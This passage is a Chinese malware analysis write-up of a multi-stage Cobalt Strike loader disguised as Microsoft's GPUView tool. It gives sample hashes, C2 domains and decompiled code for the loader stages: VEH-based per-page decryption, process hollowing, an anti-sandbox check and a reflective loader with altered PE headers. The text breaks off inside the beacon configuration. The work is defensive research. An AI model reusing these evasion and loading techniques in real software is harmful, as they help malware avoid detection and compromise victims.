伪装合法工具的高对抗性 Cobalt Strike Loader 深度分析:VEH 按页解密与魔改 PE 加载
漏洞分析
伪装合法工具的高对抗性 Cobalt Strike Loader 深度分析:VEH 按页解密与魔改 PE 加载 概述 近期捕获到一个正在广泛传播的样本,初步判断为常规 CS loader,但深入分析后发现其技术实现相当复杂...
### 伪装合法工具的高对抗性 Cobalt Strike Loader 深度分析:VEH 按页解密与魔改 PE 加载 ### 概述 近期捕获到一个正在广泛传播的样本,初步判断为常规 CS loader,但深入分析后发现其技术实现相当复杂,综合运用了多种反分析(evasion)手段与多阶段 payload 加解密机制,具有较高的研究价值。本文将对其底层实现的各个技术细节进行系统性分析,以供参考学习。 ### 基本信息 | **属性字段** | **详细信息** | |---|---| | **文件名 (Filename)** | WindowsBackup.exe | | **文件大小 (File Size)** | 842 KB (862,576 字节) | | **MD5 校验值** | B06FC31153CD7C9B7D41B4C372F3792E | | **SHA-1 校验值** | 5A6AD4F35600A0305E8E6EE4D992CBDAC38AA167 | | **SHA-256 校验值** | 318D59288E07FDF6699FD1BC4898E584E65772433953D1E0CA9E3F608FF25493 | | **原始文件名** | GPUView.exe | | **数字签名** | 6ACE61BAE3F09F4DD2697806D73E022CBFE70EB4 (失效,与文件不匹配) | | **第四阶段[payload](https://malshare.com/sample.php?action=detail&hash=2eaa840bf23764d0c9b15aced1d9bce717083071137d75a4b5be8062439117b2)存在调试符号** | C:\\Users\\wangmeng\\Source\\Repos\\ConsoleApplication2\\x64\\Release\\ConsoleApplication2.pdb | | **涉及域名** | specialclouds.com, specialclouds.top, namefilecode.com | **描述**:该样本以微软官方工具 GPUView.exe(Windows SDK 内置的 GPU 性能分析工具)作为宿主载体,使用 IDA 打开可从微软符号服务器自动加载其原始符号。样本的入口点已被一段 shellcode 完全覆盖,程序启动后即进入第一阶段执行。样本已上传至 [MalShare](https://malshare.com/sample.php?action=detail&hash=318d59288e07fdf6699fd1bc4898e584e65772433953d1e0ca9e3f608ff25493),可自行下载分析学习。 ### 技术分析 ##### 第一阶段 入口点处的 shellcode 结构简洁,依次调用两个关键函数: ```asm .text:00000001400021F8 public start .text:00000001400021F8 start proc near .text:00000001400021F8 .text:00000001400021F8 var_98 = byte ptr -98h .text:00000001400021F8 .text:00000001400021F8 sub rsp, 0B8h .text:00000001400021FF lea rcx, [rsp+0B8h+var_98] .text:0000000140002204 call sub_140002228 .text:0000000140002209 lea rcx, [rsp+0B8h+var_98] .text:000000014000220E call sub_140002AF8 .text:0000000140002213 add rsp, 0B8h .text:000000014000221A retn ``` 第一个函数负责动态解析所需的 Win32 API,其中涉及的 Resource 系列 API 表明下一阶段的 payload 隐藏于 PE 资源段中: ```c __int64 __fastcall sub_140002228(apis *apis) { __int64 result; // rax __int64 v2; // [rsp+20h] [rbp-108h] char user32[8]; // [rsp+28h] [rbp-100h] BYREF char v4[16]; // [rsp+30h] [rbp-F8h] BYREF char v5[16]; // [rsp+40h] [rbp-E8h] BYREF char v6[16]; // [rsp+50h] [rbp-D8h] BYREF char v7[16]; // [rsp+60h] [rbp-C8h] BYREF char v8[16]; // [rsp+70h] [rbp-B8h] BYREF char v9[16]; // [rsp+80h] [rbp-A8h] BYREF char v10[16]; // [rsp+90h] [rbp-98h] BYREF char v11[16]; // [rsp+A0h] [rbp-88h] BYREF char v12[16]; // [rsp+B0h] [rbp-78h] BYREF char v13[16]; // [rsp+C0h] [rbp-68h] BYREF char v14[16]; // [rsp+D0h] [rbp-58h] BYREF char v15[24]; // [rsp+E0h] [rbp-48h] BYREF char v16[24]; // [rsp+F8h] [rbp-30h] BYREF __int64 v17; // [rsp+110h] [rbp-18h] strcpy(v6, "MessageBoxA"); strcpy(v7, "LoadLibraryA"); strcpy(v13, "GetProcAddress"); strcpy(user32, "user32"); strcpy(v15, "GetModuleHandleA"); strcpy(v8, "VirtualAlloc"); strcpy(v9, "CreateThread"); strcpy(v16, "WaitForSingleObject"); strcpy(v4, "CloseHandle"); strcpy(v5, "VirtualFree"); strcpy(v12, "FindResourceA"); strcpy(v10, "LoadResource"); strcpy(v11, "LockResource"); strcpy(v14, "SizeofResource"); v2 = sub_AF7(); apis->GetProcAddress = (__int64 (__fastcall *)(__int64, char *))sub_7A0(v2, (__int64)v13); apis->LoadLibraryA = apis->GetProcAddress(v2, v7); apis->GetModuleHandleA = apis->GetProcAddress(v2, v15); apis->VirtualAlloc = apis->GetProcAddress(v2, v8); apis->CreateThread = apis->GetProcAddress(v2, v9); apis->WaitForSingleObject = apis->GetProcAddress(v2, v16); apis->CloseHandle = apis->GetProcAddress(v2, v4); apis->VirtualFree = apis->GetProcAddress(v2, v5); apis->FindResourceA = apis->GetProcAddress(v2, v12); apis->LoadResource = apis->GetProcAddress(v2, v10); apis->LockResource = apis->GetProcAddress(v2, v11); apis->SizeofResource = apis->GetProcAddress(v2, v14); v17 = ((__int64 (__fastcall *)(char *))apis->LoadLibraryA)(user32); result = apis->GetProcAddress(v17, v6); apis->MessageBoxA = result; return result; } ``` 第二个函数从资源段提取 payload,以固定密钥执行 XOR 解密(`*(ret + j) ^= 0x26E6988Fu >> (8 * (j % 4))`),随后经由标准的 `VirtualAlloc` → `CreateThread` 流程启动下一阶段 shellcode: ```c __int64 __fastcall sub_140002AF8(apis *apis) { __int64 ret; // rax unsigned int j; // [rsp+34h] [rbp-54h] unsigned int i; // [rsp+38h] [rbp-50h] unsigned int resource_size; // [rsp+3Ch] [rbp-4Ch] __int64 v5; // [rsp+40h] [rbp-48h] __int64 v6; // [rsp+48h] [rbp-40h] __int64 v7; // [rsp+58h] [rbp-30h] __int64 v8; // [rsp+60h] [rbp-28h] __int64 v9; // [rsp+70h] [rbp-18h] ret = (apis->GetModuleHandleA)(0); v6 = ret; if ( ret ) { ret = (apis->FindResourceA)(ret, 1110, 10); v7 = ret; if ( ret ) { ret = (apis->LoadResource)(v6, ret); if ( ret ) { v9 = (apis->LockResource)(ret); ret = (apis->SizeofResource)(v6, v7); resource_size = ret; if ( v9 ) { if ( ret ) { ret = (apis->VirtualAlloc)(0, ret, 0x3000, 64); v5 = ret; if ( ret ) { for ( i = 0; i < resource_size; ++i ) *(ret + i) = *(v9 + i); for ( j = 0; j < resource_size; ++j ) *(ret + j) ^= 0x26E6988Fu >> (8 * (j % 4)); v8 = apis->CreateThread(0, 0, ret, 0, 0, 0); if ( v8 ) { (apis->WaitForSingleObject)(v8, 0xFFFFFFFFLL); (apis->CloseHandle)(v8); } return (apis->VirtualFree)(v5, 0, 0x8000); } } } } } } return ret; } ``` 在 `CreateThread` 处下断点,即可依据 `resource_size` 将下一阶段的 shellcode 完整 dump 出来。 ##### 第二阶段 第二阶段 shellcode 的复杂性体现在整体执行调度机制的设计,而非指令层面的混淆。shellcode 开头经两次跳转后进入如下解密例程: ```asm seg000:0000000000030A17 loc_30A17: ; CODE XREF: sub_309FC+11↑p seg000:0000000000030A17 push rcx seg000:0000000000030A18 nop eax seg000:0000000000030A1B nop seg000:0000000000030A1C clc seg000:0000000000030A1D lea rcx, xor_key seg000:0000000000030A24 clc seg000:0000000000030A25 lea r8, loc_31000 seg000:0000000000030A2C cmc seg000:0000000000030A2D xchg ax, ax seg000:0000000000030A2F mov edx, 1000h seg000:0000000000030A34 xor ebx, ebx seg000:0000000000030A36 stc seg000:0000000000030A37 seg000:0000000000030A37 loc_30A37: ; CODE XREF: seg000:0000000000030A50↓j seg000:0000000000030A37 mov al, [rcx+rbx] seg000:0000000000030A3A xor [r8], al seg000:0000000000030A3D stc seg000:0000000000030A3E inc r8 seg000:0000000000030A41 inc bl seg000:0000000000030A43 nop eax seg000:0000000000030A46 cmc seg000:0000000000030A47 nop eax seg000:0000000000030A4A and bl, 7 seg000:0000000000030A4D cmc seg000:0000000000030A4E dec edx seg000:0000000000030A50 jnz short loc_30A37 seg000:0000000000030A52 cmc seg000:0000000000030A53 clc seg000:0000000000030A54 pop rcx seg000:0000000000030A55 jmp short loc_30A5F seg000:0000000000030A55 ; --------------------------------------------------------------------------- seg000:0000000000030A57 xor_key db 0A1h ; DATA XREF: seg000:0000000000030A1D↑o seg000:0000000000030A58 db 9Fh seg000:0000000000030A59 db 6Bh seg000:0000000000030A5A db 33h seg000:0000000000030A5B db 0FAh seg000:0000000000030A5C db 55h seg000:0000000000030A5D db 3Ah seg000:0000000000030A5E db 0E1h ··· seg000:0000000000030A5F lea rdx, loc_31000 seg000:0000000000030A66 jmp loc_31000 ``` 此处仅解密从偏移 0x31000 起的 0x1000(4KB)数据(shellcode 在 IDA 中基址为 0),随后跳转至 0x31000 处执行,该解密范围的大小设计是后续机制的核心所在。在跳转点处 dump 0x1000 字节,经深入分析与符号标注后,可得到如下反编译结果: ```c void (__fastcall *__fastcall sub_31000( __int64 a1, __int64 addr_31000h))(unsigned __int64, unsigned __int64, __int64, _BYTE *) { void (__fastcall *ret)(unsigned __int64, unsigned __int64, __int64, _BYTE *); // rax void (__fastcall *VirtualProtect)(unsigned __int64, unsigned __int64, __int64, _BYTE *); // r12 __int64 start_; // rbx __int64 current_page_begin; // rbp unsigned __int64 v8; // rsi void (__fastcall *v9)(unsigned __int64, unsigned __int64, __int64, _BYTE *); // r13 __int64 (__fastcall *RtlAddVectoredExceptionHandler)(__int64, __int64 (__fastcall *)(_EXCEPTION_POINTERS *)); // r14 void (__fastcall *RtlRemoveVectoredExceptionHandler)(__int64); // r13 __int64 v12; // r14 unsigned __int64 v13; // rsi char ntdll[10]; // [rsp+26h] [rbp-D2h] BYREF char RtlAddVectoredExceptionHandlerStr[32]; // [rsp+30h] [rbp-C8h] BYREF char RtlRemoveVectoredExceptionHandlerStr[44]; // [rsp+50h] [rbp-A8h] BYREF _BYTE v17[4]; // [rsp+7Ch] [rbp-7Ch] BYREF char v18[15]; // [rsp+80h] [rbp-78h] BYREF char kernel32[13]; // [rsp+8Fh] [rbp-69h] BYREF __int64 key_seed_; // [rsp+9Ch] [rbp-5Ch] int v21; // [rsp+A4h] [rbp-54h] unsigned int total_size_; // [rsp+A8h] [rbp-50h] int v23; // [rsp+ACh] [rbp-4Ch] v23 = 0x1000; total_size_ = 0x3A70; v21 = 1; key_seed_ = 0x1EAF7D7D7467B6D8LL; strcpy(kernel32, "kernel32.dll"); strcpy(v18, "VirtualProtect"); ret = get_module(kernel32); if ( ret ) { ret = get_proc_addr(ret, v18); VirtualProtect = ret; if ( ret ) { start_ = addr_31000h + 0x1000; current_page_begin = start_ & 0xFFFFFFFFFFFFF000uLL; v8 = ((start_ + total_size_ - 1) & 0xFFFFFFFFFFFFF000uLL) - (start_ & 0xFFFFFFFFFFFFF000uLL) + 4096; if ( v21 ) { strcpy(ntdll, "ntdll.dll"); strcpy(RtlAddVectoredExceptionHandlerStr, "RtlAddVectoredExceptionHandler"); strcpy(RtlRemoveVectoredExceptionHandlerStr, "RtlRemoveVectoredExceptionHandler"); ret = get_module(ntdll); v9 = ret; if ( ret ) { RtlAddVectoredExceptionHandler = get_proc_addr(ret, RtlAddVectoredExceptionHandlerStr); ret = get_proc_addr(v9, RtlRemoveVectoredExceptionHandlerStr); RtlRemoveVectoredExceptionHandler = ret; if ( RtlAddVectoredExceptionHandler ) { if ( ret ) { start = start_; total_size = total_size_; win_VirtualProtect = VirtualProtect; exception_page_begin = 0; key_seed = key_seed_; dword_315DC = 1; VirtualProtect(start_ & 0xFFFFFFFFFFFFF000uLL, v8, 4, v17); v12 = RtlAddVectoredExceptionHandler(1, veh_handler); (start_)(a1); if ( v12 ) RtlRemoveVectoredExceptionHandler(v12); ret = (VirtualProtect)(current_page_begin, v8, 4, v17); if ( v8 ) { v13 = current_page_begin + v8; do *current_page_begin++ = 0; while ( current_page_begin != v13 ); } start = 0; total_size = 0; win_VirtualProtect = nullptr; exception_page_begin = 0; key_seed = 0; dword_315DC = 0; } } } } else { ret( start_ & 0xFFFFFFFFFFFFF000uLL, ((start_ + total_size_ - 1) & 0xFFFFFFFFFFFFF000uLL) - (start_ & 0xFFFFFFFFFFFFF000uLL) + 4096, 32, v17); return (start_)(a1); } } } return ret; } __int64 __fastcall veh_handler(_EXCEPTION_POINTERS *exception_info) { PEXCEPTION_RECORD ExceptionRecord; // rdx __int64 result; // rax unsigned __int64 rip; // rdx _QWORD *page_begin; // rbx unsigned __int64 v5; // rdi _BYTE v6[44]; // [rsp+2Ch] [rbp-2Ch] BYREF ExceptionRecord = exception_info->ExceptionRecord; result = 0; if ( exception_info->ExceptionRecord->ExceptionCode == 0xC0000005 && ExceptionRecord->NumberParameters > 1 && ExceptionRecord->ExceptionInformation[0] == 8 ) { rip = ExceptionRecord->ExceptionInformation[1]; if ( rip < start + total_size && rip >= start ) { page_begin = (rip & 0xFFFFFFFFFFFFF000uLL); v5 = ((rip & 0xFFFFFFFFFFFFF000uLL) - (start & 0xFFFFFFFFFFFFF000uLL)) >> 12; if ( exception_page_begin ) { if ( exception_page_begin != page_begin ) { win_VirtualProtect(exception_page_begin, 4096, 4, v6); xor_with_key_64( exception_page_begin, key_seed, (exception_page_begin - (start & 0xFFFFFFFFFFFFF000uLL)) >> 12); } } xor_with_key_64(page_begin, key_seed, v5); win_VirtualProtect(page_begin, 4096, 32, v6); exception_page_begin = page_begin; return 0xFFFFFFFFLL; } else { return 0; } } return result; } ``` 下面对整体执行流程作简要说明:真实的 shellcode 整体处于加密状态,由 VEH(向量化异常处理)机制驱动执行。实际代码位于偏移 +0x32000(addr\_31000h + 0x1000)处,大小 0x3A70 字节。由于该段代码保持加密,执行时必然触发访问违例异常(0xC0000005),程序通过 `RtlAddVectoredExceptionHandler` 注册了 `veh_handler` 来接管此类异常。 `veh_handler` 的核心逻辑以 0x1000(4KB,与操作系统页面大小一致)为加解密单元(以下简称 page):每当 CPU 执行到加密页面触发异常时,处理函数解密当前异常所在 page 并赋予执行权限,同时将上一个已执行的 page 重新加密,随后由操作系统恢复至异常发生处重新执行指令。 ```php +-------------------+ 执行到加密代码 +--------------------+ | CPU 执行指令 | -------------------------->| 触发 0xC0000005 | | (在当前 4KB 页面) | | (内存访问违例异常) | +-------------------+ +--------------------+ | 顺利通过 (已解密) | 操作系统接管 | v | +--------------------+ | | 进入 veh_handler | | +--------------------+ | | 1. 锁定错误 Page 地址 | | 2. 算准 4KB 边界 (v4) | v | +----------------+ | | 执行核心修复逻辑 | | +----------------+ | | -> 【解密】当前异常 Page | | -> 【加密】上一个 Page (擦除痕迹) | | -> 【修改权限】VirtualProtect 赋予执行权 | v | 返回 EXCEPTION_CONTINUE_EXECUTION +------------------ + +----------------------------------------------- | return -1; | (告诉操作系统:送 CPU 回原点重试) +-------------------+ ``` 该机制使得任意时刻内存中仅有 4KB 的明文代码存在,有效规避内存扫描与整体 dump 等动态分析手段,且调试难度极高。为此,选择借助 IDAPython 按照其加密算法对整段 shellcode 进行静态还原,脚本如下: ```python #!/usr/bin/env python3 """ key = ((page_index + 1) & 0xFFFFFFFF) ^ key_seed 每页 0x1000 字节,每 8 字节 XOR 同一个 key """ import struct import sys import os KEY_SEED = 0x1EAF7D7D7467B6D8 PAGE_SIZE = 0x1000 QWORD = 8 QWORDS_PER_PAGE = PAGE_SIZE // QWORD # 512 def decrypt_page(page_data: bytes, page_index: int) -> bytes: key = ((page_index + 1) & 0xFFFFFFFF) ^ KEY_SEED result = bytearray(PAGE_SIZE) for i in range(QWORDS_PER_PAGE): offset = i * QWORD enc_qword = struct.unpack_from('<Q', page_data, offset)[0] dec_qword = enc_qword ^ key struct.pack_into('<Q', result, offset, dec_qword) return bytes(result) def decrypt_shellcode(encrypted: bytes) -> bytes: total_size = len(encrypted) if total_size % PAGE_SIZE != 0: padded = encrypted + b'\x00' * (PAGE_SIZE - total_size % PAGE_SIZE) else: padded = encrypted total_pages = len(padded) // PAGE_SIZE result = bytearray() for page_idx in range(total_pages): offset = page_idx * PAGE_SIZE page_data = padded[offset: offset + PAGE_SIZE] key = ((page_idx + 1) & 0xFFFFFFFF) ^ KEY_SEED decrypted_page = decrypt_page(page_data, page_idx) result.extend(decrypted_page) return bytes(result[:total_size]) def main(): if len(sys.argv) < 2: sys.exit(1) input_path = sys.argv[1] output_path = sys.argv[2] if len(sys.argv) > 2 else input_path + ".dec.bin" with open(input_path, 'rb') as f: enc_data = f.read() dec_data = decrypt_shellcode(enc_data) with open(output_path, 'wb') as f: f.write(dec_data) if __name__ == '__main__': main() ``` ##### 第三阶段 将 IDAPython 脚本静态还原的 shellcode 定义为第三阶段。该阶段实现了一个功能完备的多模式 payload 加载器,根据配置决定从网络拉取数据或直接从内存解压真实 payload,并支持以下三种执行方式:PE loader(类 Process Hollowing 技术)、execute-assembly(基于 donut 的内存加载 .NET 程序集),以及 In-Memory Script Execution(支持 VBScript、JScript 等脚本类型)。 ```c __int64 __fastcall sub_32000(INSTANCE *ins) { unsigned int *CreateThread; // rax __int64 v3; // rsi unsigned int *NtContinue; // rdi unsigned int *GetThreadContext; // rbp unsigned int *GetCurrentThread; // r12 __int64 v7; // r13 __int64 v8; // rax _BYTE v10[48]; // [rsp+30h] [rbp-508h] BYREF int v11; // [rsp+60h] [rbp-4D8h] __int64 v12; // [rsp+C8h] [rbp-470h] __int64 v13; // [rsp+128h] [rbp-410h] if ( ins->pad_238 ) { CreateThread = get_proc_addr_by_hash(ins, ins->pCreateThread, *&ins->hash_seed); if ( CreateThread ) { v3 = (CreateThread)(0, 0, execute_payload, ins, 0, 0); NtContinue = get_proc_addr_by_hash(ins, ins->pNtContinue, *&ins->hash_seed); GetThreadContext = get_proc_addr_by_hash(ins, ins->pGetThreadContext, *&ins->hash_seed); GetCurrentThread = get_proc_addr_by_hash(ins, ins->pGetCurrentThread, *&ins->hash_seed); v7 = (ins->pGetModuleHandleA)(0); if ( GetThreadContext != nullptr && NtContinue != nullptr && GetCurrentThread ) { v11 = 0x10000B; v8 = (GetCurrentThread)(); (GetThreadContext)(v8, v10); v13 = v7 + ins->pad_238; v12 &= 0xFFFFFFFFFFFFFFF0uLL; (NtContinue)(v10, 0); } } else { return -1; } } else { execute_payload(ins); return 0; } return v3; } __int64 __fastcall execute_payload(INSTANCE *origin_ins) { unsigned int *VirtualAlloc; // rbp unsigned int *VirtualFree; // r12 unsigned int *RtlExitUserProcess; // r13 INSTANCE *ins_buffer; // rax INSTANCE *instance; // rdi unsigned int *LoadLibraryA; // rax __int64 v8; // r8 char *v9; // r9 int *p_to_load_dll_list; // rbx __int64 result; // rax char v12; // dl __int64 v13; // rax unsigned int v14; // ecx __int64 i; // rbx unsigned int *proc_addr_by_hash; // rax int pad_230; // ebx __int64 p_pad_CA0; // rbx void *v19; // rax __int64 v20; // rsi void *v21; // rcx int type; // eax int v23; // eax char v25[272]; // [rsp+20h] [rbp-188h] BYREF _QWORD _Dst[15]; // [rsp+130h] [rbp-78h] BYREF VirtualAlloc = get_proc_addr_by_hash(origin_ins, origin_ins->pVirtualAlloc, *&origin_ins->hash_seed); VirtualFree = get_proc_addr_by_hash(origin_ins, origin_ins->pVirtualFree, *&origin_ins->hash_seed); RtlExitUserProcess = get_proc_addr_by_hash(origin_ins, origin_ins->pRtlExitUserProcess, *&origin_ins->hash_seed); if ( VirtualFree == nullptr || VirtualAlloc == nullptr || !RtlExitUserProcess ) return 0xFFFFFFFFLL; ins_buffer = (VirtualAlloc)(0, origin_ins->size, 0x3000, 4); instance = ins_buffer; if ( ins_buffer ) { memcpy(ins_buffer, origin_ins, origin_ins->size); memset(_Dst, 0, 0x40u); if ( instance->pad_234 == 3 ) { sub_359A6(&instance->pad_004, &instance->pad_014, &instance->to_load_func_count, instance->size - 0x23C); if ( *&instance->unknown_hash != calc_hash(&instance->pad_B70, *&instance->hash_seed) ) goto LABEL_21; } LoadLibraryA = get_proc_addr_by_hash(instance, instance->pLoadLibraryA, *&instance->hash_seed); instance->pLoadLibraryA = LoadLibraryA; if ( !LoadLibraryA ) return 0xFFFFFFFFLL; p_to_load_dll_list = &instance->to_load_dll_list; while ( 1 ) // load dll list { v12 = *p_to_load_dll_list; if ( !*p_to_load_dll_list || v12 == ';' ) break; v13 = 1; do { v14 = v13; v25[v13 - 1] = v12; v12 = *(p_to_load_dll_list + v13++); } while ( v12 != 0x3B && v12 != 0 && v14 <= 0x103 ); p_to_load_dll_list = (p_to_load_dll_list + v14 + 1); v25[v14] = 0; LOBYTE(v8) = v12 != 0x3B; LOBYTE(v9) = v12 != 0; load_dll(instance, v25, v8, v9); } i = 1; if ( instance->to_load_func_count > 1u ) { do { proc_addr_by_hash = get_proc_addr_by_hash(instance, *(&instance->pLoadLibraryA + i), *&instance->hash_seed); *(&instance->pLoadLibraryA + i) = proc_addr_by_hash; if ( !proc_addr_by_hash && *(&instance->pLoadLibraryA + i) != instance->pCLRCreateInstance ) goto LABEL_21; } // load dll list while ( ++i < instance->to_load_func_count ); } type = instance->run_type; if ( type == 2 ) { if ( !http_fetch_data(instance) ) goto LABEL_21; p_pad_CA0 = *&instance->pad_CA0; } else { p_pad_CA0 = &instance->pad_CA0; if ( type != 1 ) p_pad_CA0 = 0; } if ( *(p_pad_CA0 + 8) != 2 ) goto LABEL_42; v19 = (VirtualAlloc)( 0, (*(p_pad_CA0 + 0x524) + 0x152FLL) & 0xFFFFFFFFFFFFF000uLL,// 0x50000 0x3000, 4); v20 = v19; if ( v19 ) { memcpy(v19, p_pad_CA0, 0x530u); uncompress((p_pad_CA0 + 0x528), (v20 + 0x528));// pe p_pad_CA0 = v20; LABEL_42: v23 = *p_pad_CA0; if ( (*p_pad_CA0 - 3) <= 1 ) { hollowing(instance, p_pad_CA0); } else if ( (v23 - 1) <= 1 ) { if ( load_assembly(instance, p_pad_CA0, _Dst) ) execute_assembly(instance, p_pad_CA0, _Dst); sub_3393A(instance, _Dst); } else if ( (v23 - 5) <= 1 ) { execute_script(instance, p_pad_CA0); } if ( instance->pad_230 == 3 ) (instance->pSleep)(0xFFFFFFFFLL); } LABEL_21: if ( instance->run_type == 2 ) { v21 = *&instance->pad_CA0; if ( v21 ) { memset(v21, 0, instance->pad_C98); (VirtualFree)(*&instance->pad_CA0, 0, 0xC000); *&instance->pad_CA0 = 0; } } pad_230 = instance->pad_230; memset(instance, 0, instance->size); (VirtualFree)(instance, 0, 0xC000); result = 0; if ( pad_230 == 2 ) { (RtlExitUserProcess)(0); return 0; } return result; } result = 0xFFFFFFFFLL; if ( origin_ins->pad_230 == 2 ) { (RtlExitUserProcess)(0); return 0xFFFFFFFFLL; } return result; } ``` 该样本未采用网络拉取路径,而是直接在内存中对内嵌 payload 执行解压(第 152 行),并通过类 Process Hollowing 技术将解压出的 PE 文件映射至内存中执行。 ##### 第四阶段 以下为该 PE 文件的 `main` 函数,逻辑清晰: ```c int __fastcall main(int argc, const char **argv, const char **envp) { DWORD v3; // ebx DWORD (__stdcall *v4)(LPVOID); // rax DWORD (__stdcall *v5)(LPVOID); // rbx HANDLE Thread; // rax v3 = GetTickCount() + 15000; while ( GetTickCount() < v3 ) { if ( anti_sandbox() ) { Sleep(0x1388u); ExitProcess(1u); } Sleep(0x1F4u); } v4 = VirtualAlloc(nullptr, 0x4B826u, 0x3000u, 0x40u); v5 = v4; if ( !v4 ) return -1; memcpy(v4, &shellcode_start, 0x4B826u); Thread = CreateThread(nullptr, 0, v5, nullptr, 0, nullptr); if ( !Thread ) return -2; WaitForSingleObject(Thread, 0xFFFFFFFF); return 0; } ``` 程序在执行核心逻辑前以 15 秒延迟循环进行反沙箱检测,通过判断进程中是否加载了 `SbieDll.dll`(Sandboxie 核心组件)来识别沙箱环境,一经检测到则立即退出。 随后内嵌的 PIC 经分析为一个 UDRL(User-Defined Reflective Loader)的入口,意味着该 PE 文件内部还嵌套了另一个 PE 文件: ```c char *__fastcall sub_18E36(__int64 a1) { void *mem; // rax __int64 ep_; // rax _IMAGE_NT_HEADERS *nt_hdrs; // [rsp+30h] [rbp-A8h] __int64 base; // [rsp+38h] [rbp-A0h] int protect; // [rsp+40h] [rbp-98h] DWORD NumberOfSymbols; // [rsp+44h] [rbp-94h] unsigned int size; // [rsp+48h] [rbp-90h] BYREF _IMAGE_DOS_HEADER *raw_base; // [rsp+50h] [rbp-88h] __int64 v10; // [rsp+58h] [rbp-80h] char *text_sec; // [rsp+60h] [rbp-78h] BYREF unsigned __int64 SizeOfImage; // [rsp+68h] [rbp-70h] INSTANCE *ins; // [rsp+70h] [rbp-68h] BYREF int ins_8; // [rsp+78h] [rbp-60h] char ins_17; // [rsp+81h] [rbp-57h] __int16 ins_18; // [rsp+82h] [rbp-56h] int ins_20; // [rsp+84h] [rbp-54h] __int64 v18; // [rsp+88h] [rbp-50h] __int64 v19; // [rsp+90h] [rbp-48h] __int64 v20; // [rsp+98h] [rbp-40h] _BYTE v21[40]; // [rsp+A0h] [rbp-38h] BYREF text_sec = nullptr; size = 0; strcpy(&ins, "AAAAAAAABBBBBBBB"); ins_17 = 0; ins_18 = 0; ins_20 = 0; v18 = 0; v19 = 0; v20 = 0; memset(v21, 0, sizeof(v21)); raw_base = get_current_base(); if ( (ins & 0xFFFFFF) == 'AAA' && (ins_8 & 0xFFFFFF) == 'BBB' ) sub_19246(&ins); if ( !sub_195D6(&ins) ) sub_19636(&ins); nt_hdrs = (raw_base + raw_base->e_lfanew); if ( (nt_hdrs->FileHeader.Characteristics & 0x8000) == 0x8000 ) { protect = 64; mem = alloc_mem(&ins, nt_hdrs, raw_base, 0x40u); } else { protect = 4; mem = alloc_mem(&ins, nt_hdrs, raw_base, 4u); } SizeOfImage = nt_hdrs->OptionalHeader.SizeOfImage; memset(mem, 0, SizeOfImage); NumberOfSymbols = nt_hdrs->FileHeader.NumberOfSymbols; base = copy_headers(mem, nt_hdrs, raw_base, NumberOfSymbols); copy_sections(base, nt_hdrs, raw_base, &text_sec, &size); fix_import(&ins, base, nt_hdrs, raw_base, NumberOfSymbols); decrypt_section(text_sec, size, NumberOfSymbols); base_reloc(base, nt_hdrs); sub_199F6(&ins, text_sec, size, protect); memset(&ins, 0, 0x58u); if ( (nt_hdrs->FileHeader.Characteristics & 0x1000) == 0x1000 ) ep_ = nt_hdrs->OptionalHeader.DataDirectory[1].VirtualAddress; else ep_ = nt_hdrs->OptionalHeader.AddressOfEntryPoint; v10 = ep_ + base; ((ep_ + base))(base, 1, a1); return v10; } ``` PE 解析逻辑存在多处刻意的改造,在 `get_current_base` 中可以看到: ```c __int64 get_current_base() { __int64 i; // [rsp+20h] [rbp-18h] unsigned __int64 v2; // [rsp+28h] [rbp-10h] for ( i = sub_190B6(); ; --i ) // mov rax, [rsp+0] { if ( *i == 'XA' ) { v2 = *(i + 0x3C); if ( v2 >= 0x40 && v2 < 0x400 && *(i + v2) == 'BD' ) break; } } return i; } ``` 嵌套 PE 将两个标准 magic 字节——`MZ` 和 `PE`——分别替换为 `AX` 和 `DB`。`copy_headers` 在加载过程中进一步将这两个修改后的 magic 清零: ```c char *__fastcall copy_headers(__int64 a1, _IMAGE_NT_HEADERS *a2, const void *a3, int a4) { __int64 v5; // [rsp+30h] [rbp+8h] v5 = a1; if ( a4 ) return (a1 - a2->OptionalHeader.SectionAlignment); qmemcpy(a1, a3, a2->OptionalHeader.SizeOfHeaders); if ( (a2->FileHeader.Characteristics & 1) == 1 ) { *(*(a1 + 0x3C) + a1) = 0; *a1 = 0; *(a1 + 0x3C) = 0; } return v5; } ``` 在入口点处理上(`ep_ = nt_hdrs->OptionalHeader.DataDirectory[1].VirtualAddress`),对应的实际汇编如下: ```asm seg000:0000000000019052 mov rax, [rsp+0D8h+nt_hdrs] seg000:0000000000019057 mov eax, [rax+80h] seg000:000000000001905D mov rcx, [rsp+0D8h+base] seg000:0000000000019062 add rcx, rax ``` 实际入口点 RVA 被写入 header 固定偏移 +0x80 处,而非标准字段,正常解析将得到错误的入口点地址。 导入表的修复逻辑同样经过深度改造: ```c __int64 __fastcall fix_import(INSTANCE *a1, __int64 base, _IMAGE_NT_HEADERS *a3, __int64 a4, int a5) { void *v6; // [rsp+20h] [rbp-58h] _QWORD *j; // [rsp+28h] [rbp-50h] __int64 *v8; // [rsp+30h] [rbp-48h] unsigned int *i; // [rsp+38h] [rbp-40h] __int64 v10; // [rsp+40h] [rbp-38h] __int64 v13; // [rsp+98h] [rbp+20h] v6 = (base + a3->OptionalHeader.SizeOfImage - 0x40); for ( i = (a3->OptionalHeader.DataDirectory[3].VirtualAddress + base); i[3]; i += 5 ) { qmemcpy(v6, (i[3] + base), 0x40u); decrypt_section(v6, 0x40u, a5); v13 = (a1->LoadLibraryA_)(v6); v8 = (*i + base); for ( j = (i[4] + base); *j; ++j ) { if ( v8 && *v8 < 0 ) { v10 = *(*(v13 + 0x3C) + v13 + 0x88) + v13; *j = *(*(v10 + 0x1C) + v13 + 4 * (*v8 - *(v10 + 16))) + v13; } else { qmemcpy(v6, (*j + base + 2), 0x40u); decrypt_section(v6, 0x40u, a5); *j = (a1->GetProcAddress)(v13, v6); } if ( v8 ) ++v8; } } memset(v6, 0, 0x40u); return 0; } ``` `DataDirectory[3]` 在标准 PE 结构中并非导入目录的位置。结合入口点的处理方式推断,`IMAGE_OPTIONAL_HEADER` 中插入了约 0x10 字节的自定义字段,导致导入目录整体后移至 `DataDirectory[3]` 处,且 DLL 名称与函数名均以加密形式存储。仅凭现有信息难以完全还原原始结构。 在最终的 `((ep_ + base))(base, 1, a1)` 处下断,分别 dump header 与各 section(此时 section 已完成解密),拼接后修复入口点特征与 PE magic 即可用 IDA 正常载入分析。尽管导入表未完全还原,但根据特征可判定该文件为 Cobalt Strike beacon 本体;还原 data section 名称后,可通过现有脚本解析 CS 配置信息。 ##### Cobalt Strike 分析结果 ```json { "BeaconType": [ "HTTPS" ], "Port": 443, "SleepTime": 50000, "MaxGetSize": 2796208, "Jitter": 30, "MaxDNS": "Not Found", 